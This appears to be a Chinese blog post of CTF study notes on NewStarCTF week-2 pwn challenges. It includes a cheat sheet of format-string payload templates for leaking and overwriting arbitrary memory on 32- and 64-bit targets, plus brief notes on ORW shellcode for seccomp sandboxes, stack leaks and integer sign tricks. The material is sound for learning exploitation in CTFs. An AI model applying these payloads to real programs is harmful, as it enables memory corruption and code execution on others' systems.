NewStarCTF学习小结-WEEK2

WEEK2

砍一刀

格式化字符串漏洞进行任意写
相关资料

格式化字符串漏洞

pwn 格式化字符串漏洞

关于格式化字符串详细的讲解, 看这里
看文章感觉还是不是很懂的可以 看这里,从39分42开始
image

​ 按我的理解就是printf输出的参数的个数是不固定的,是由前面的格式化字符串决定的,所以我们只要控制了前面的格式化字符串,再结合一些参数,后面输出什么就是由我们决定的.

几个经常用来测试格式化字符串的格式控制符:

%d 用于读取10进制数值

%x 用于读取16进制数值   

%s 用于读取字符串值   

%p 用于读取参数地址

%n 用于将当前字符串的长度打印到var中, 默认写入4字节, 也可以用h来占位

%$定位参数符

简单来说就是一个偏移量.
image

利用思路

1.利用 "AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"这样的字符串来找到我们输入的参数在函数栈上的位置,我看别的师傅叫首地址偏移或者偏移.

2.假设是在栈上第n位,那么可以利用 %n$定位到参数在栈上的位置.

3.利用%n系列格式符来修改参数里的内容,我们将它的值改成我们想要的数据就好.

#常用的payload总结
# 格式化符号说明
%x 以十六进制打印,只能打印4字节,一般只用于32位
%p 打印目标地址,建议32位和64位都用这个
%s 打印地址内容
%c 打印单个字符
%hhn 写一字节
%hn  写两字节
%n   写四字节
%ln  32位写四字节,64位写八字节
%lln 写八字节
#################### 32位
# 求偏移
pad = "aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p..."

# 泄露目标地址内容,假设偏移为offset
## 目标地址放前面
pad = p32(target_addr)+"%{}$s".format(offset).encode("ISO-8859-1")
## 目标地址放后面
pad = "%{}$s".format(offset+1).encode("ISO-8859-1")+p32(target_addr)

# 改写目标地址内容为value
## 目标地址放前面
pad = p32(target_addr)+"%{}c%{}$n".format(value-4, offset).encode("ISO-8859-1")
## 目标地址放后面,注意ljust补位的字符和offset+idx的位置要对应
pad = "%{}c%{}$n".format(value, offset+3).ljust(4*3, "a").encode("ISO-8859-1")
pad += p32(target_addr)
#################### 64位
# 求偏移
pad = "aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p..."

# 泄露目标地址内容,目标地址只能放后面,假设偏移为offset
pad = "%{}$s".format(offset+1).ljust(8, "a").encode("ISO-8859-1")+p64(target_addr)

# 改写目标地址内容为value
## 目标地址只能放后面,注意ljust补位的字符和offset+idx的位置要对应
pad = "%{}c%{}$lln".format(value, offset+3).ljust(8*3, "a").encode("ISO-8859-1")
pad += p64(target_addr)

​ 同时,利用格式化字符串漏洞也能绕过Canary来进行数据读写

shellcode_revenge

ORW(Open(),Read(),Write())

​ 遇到带沙箱禁了危险函数的题目,可以利用不被禁的open()、read()、write()函数获取flag文件内容打印flag到屏幕上

mmap空间:read()读取长度不足/无可写可执行的区段

​ 利用shellcraft方法进行构造我们自己的read()函数,此时read()函数的相关参数就由我们划定,再利用栈溢出漏洞进入到我们自己设置参数过的read()函数进行后续操作.同时因为mmap区段可读可写可执行,也解决了区段不可写不可执行的问题.

buffer-fly

​ 根据字符串输出的性质——一直遇到'\x00'才停下来,这就意味着我们可以栈上的内容泄露出来.

uint32 and ret

​ int类型数的二进制最高位代表符号,unsigned int无符号位,可以通过程序强制类型转换将unsigned int下的大数转为int下的负数(数字在内存中的二进制存储不随变量类型转换而改变)

posted @ 2022-10-06 22:17  络辰  阅读(286)  评论(0编辑  收藏  举报